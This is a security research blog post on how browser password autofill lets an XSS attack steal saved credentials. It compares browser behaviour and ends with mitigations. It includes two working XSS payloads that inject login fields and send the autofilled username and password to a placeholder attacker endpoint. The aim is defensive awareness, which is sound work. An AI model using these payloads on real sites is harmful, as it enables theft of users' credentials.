Did You Know Your Browser’s Autofill Credentials Could Be Stolen via Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a well-known vulnerability that has been around for a long time and can be used to steal sessions, create fake logins and carry out actions as someone else, etc.

In addition, many users are unaware of the potential dangers associated with their browser’s credential autofill feature. This attack vector is not new, but it is unknown to many people and as we investigated further we found that the dangers were extensive. In this post, the GoSecure Titan Labs team will demonstrate that using a browser password manager with autofill could expose your credentials in a web application vulnerable to XSS.

Analysis

The problem

Most browsers have added a feature that is commonly called “autofill” that will ease the login process for web applications. This feature will automatically fill your saved credentials for a given web application without interaction. This feature is enabled by default on most commonly used browsers, like Firefox, Chrome, Edge, Opera, Internet Explorer, and sometimes it can’t be disabled at all. Meaning that there’s no way to prevent credentials from auto-filling in browsers based on Chromium, like Chrome and Edge, as there is no option to disable it. The only way to prevent autofill on those browsers is to not save your credentials at all. It’s an everything-or-nothing kind of situation for those browsers. Therefore, even if you disabled the “Offer to save passwords” but still have credentials saved, those browsers will still autofill.

Now, why is this a problem and how can it be stolen with an XSS attack? When the browser finds, at any time, an input tag of type “password”, it will automatically fill it with a password. Therefore, with an XSS attack, you can simply add a password field somewhere in the body of the page, wait for the browser to autofill it, and then fetch the value inside the field to send it to your server.

Of course, the technique above seems easy to execute but it is not that easy as it depends on many variables, like if that victim has saved credentials for that origin, which browser they use, how many credentials they have saved for that origin and if they have autofill option enabled. It should be noted that password managers can also be affected by this attack vector if autofill is enabled, which is not by default on most password managers.

Furthermore, this attack vector is not new and after this was found, it was easy to identify as other blogs that talk briefly about it. The goal is to give more visibility to this attack vector and help people understand the impact of using autofill, which is enabled by default on most browsers. The environment this was tested in was as realistic as possible, meaning that it was in HTTPS with a valid certificate.

Attack Vector

Now, let’s get to the part where you will be able to see how easy it is to steal credentials with a simple XSS attack. First, here’s how Firefox reacts when you add an input field with the type equal to “password” anywhere in the page (with only one set of credentials):

Now considering that the victim has one set of credentials on Firefox for a given origin, let’s make a working payload to extract the password.

">
<input id="p" type="password" name="password">
<script>
    setTimeout(function(){
        new Image().src = "https://my_attacker_endpoint/?pass=" 
                        + document.getElementById('p').value;
    };
</script>
<input type="hidden<input type="hidden

And in action:

Now, the same exploit but with two sets of credentials:

So, with two sets of credentials on Firefox, it did not autofill any of the credentials. What about Chrome?

It seems like Chrome only fills the password field if there is a username field present before it, as you can see in the first image, it did not fill the password field. Note that the browsers Edge and Opera reacted the same way as Chrome.

Now, let’s try to extract the credentials with the same payload as Firefox.

As you can see, the credentials are not accessible, which is quite strange. After some research, we stumbled upon a blog post that, in a nutshell, explains that Chrome requires any interaction in the window in order to paste the values. Meaning that for Chrome, and others based on the same engine, it requires an interaction like a click or key press. Therefore, the payload needs to be adapted to, instead of using a timeout, use a user interaction of some sort. For the sake of simplicity, let’s go with the “on-click” event on the body so whenever the victim clicks on the page to follow a link, or focus on something, the payload will execute.

">
<input id="u" type="text" name="username">
<input id="p" type="password" name="password">
<script>
    document.body.onclick = function(e){
        new Image().src = "https://my_attacker_endpoint/?user="
                        +document.getElementById('u').value+"&pass="
                        + document.getElementById('p').value;
        document.body.onclick = function(e){};
    };
</script>
<input type="hidden

This technique works. After a click in the page, the payload executes, and the credentials are sent over to the malicious server. Just like Firefox, what is the behavior of having multiple sets of credentials in Chrome?

Chrome set the fields to the last used set of credentials. But is it possible to get the other sets of credentials? What about getting a set of credentials with Firefox with multiple sets? Does it autofill the password matching the username in the previous field? Let’s try it out on Firefox:

It does autofill as we expected. What about Chrome? Does it behave the same way?

It also autofill. That means it is possible to enumerate through all the saved credentials if the username matches.

Difference Between Browsers

Every browser is different as they are either not based on the same engine or they offer added security features on top of the engine to prevent autofill of credentials. Brave is an example of a browser based on Chromium but it does not autofill credentials.

The set of charts below will help you better understand browser security and autofill features with an analysis.

Firefox

What is great about Firefox is that you can disable the option to autofill and still use the password manager feature. Once disabled, it requires an interaction to show a pop-up containing the matching sets of credentials for that origin. However, this option is enabled by default. It is to be noted that Tor browser is also based on the same engine as Firefox but does not ask to save passwords by default and does not autofill either by default. Plus, Tor browser on mobile does have “ask to save password” and autofill by default. However, from our research and tests, it does not work anymore since Tor always opens a private tab and therefore, does not keep any information and does not ask to save passwords. Furthermore, Tor browser has an additional protection that blocks scripts unless allowed.

Chromium-based browsers (Chrome, Edge, Opera)

Only Chrome, Edge and Opera were tested thoroughly, but there are other browsers based on the same engine that were not tested as they are not widely used. In these browsers, there is no option to disable the autofill and even if the “offer to save passwords” feature is disabled, if there is a matching set of credentials saved for that origin, it will autofill. Interestingly, the mobile versions of Chrome and Edge browsers do not react the same way as the desktop version. The mobile versions do not autofill at all, and they require an interaction to show a popup containing the matching sets of credentials for that origin.

Brave

Brave is also based on Chromium but does not behave the same way as the others. It does not autofill, no matter what, which prevents this XSS attack vector for credential exfiltration. Instead, it requires an interaction to show a popup containing the matching sets of credentials for that origin.

Internet Explorer?

Against all odds, Internet Explorer seems to be more secure than most Chromium-based browsers as there is an option to disable the autofill of credentials. However, if you disable that option, you can’t use the “save credentials” feature anymore. The option is enabled by default.

Safari

Safari does have the option to disable autofill, but it does not autofill either way. It requires an interaction to show a popup containing the matching sets of credentials for that origin.

Mitigation

For Web Developers

There is no real solution to this issue but there are some things that you can do to help prevent Cross-Site Scripting (XSS). First, having a good Content-Security Policy (CSP) header will greatly help prevent malicious scripts from being executed and therefore, make XSS attacks harder to exploit. That said, keep in mind that the CSP configuration only helps prevent XSS attacks and that there are many known bypasses depending on the configuration. Second, by making sure that the data reflected in a page is HTML encoded, validated or sanitized.

For Security Administrators

A solution would be to disable the browser password saving via Group Policy Object (GPO) or Endpoint Manager. This will prevent users from saving their credentials with the browser password manager feature. However, every password that was previously added will still be automatically filled out depending on the browser and if the feature is still enabled.

For Users

There are two viable solutions for end-users who want to use a password manager which is useful with an ever-expanding collection of websites and passwords that should be unique. The first, and best solution, is to use a real password manager, such as KeePass or similar commercial solutions like 1Password or Bitwarden, that is renowned, tested and does not have autofill by default. Make sure that your password manager does not automatically fill credentials so it can’t be automatically fetched by an XSS attack without interaction. The second solution is to use a browser that either does not autofill by default or lets you disable autofill for saved passwords.

Conclusion

This attack vector is by no means new, but it is interesting to see how many commonly used browsers are vulnerable by default. Hopefully, this will raise awareness of the issue and help non-technical users change to better solutions out there, like a password manager or a more flexible, security-conscious and user-friendly browser. If you want to know more about our findings and similar topics, remember to follow GoSecure on both Twitter and LinkedIn for the latest investigations.

Special thanks to Simon Bouchard for iOS and mobile testing as well as Lisandro Ubiedo for Tor testing.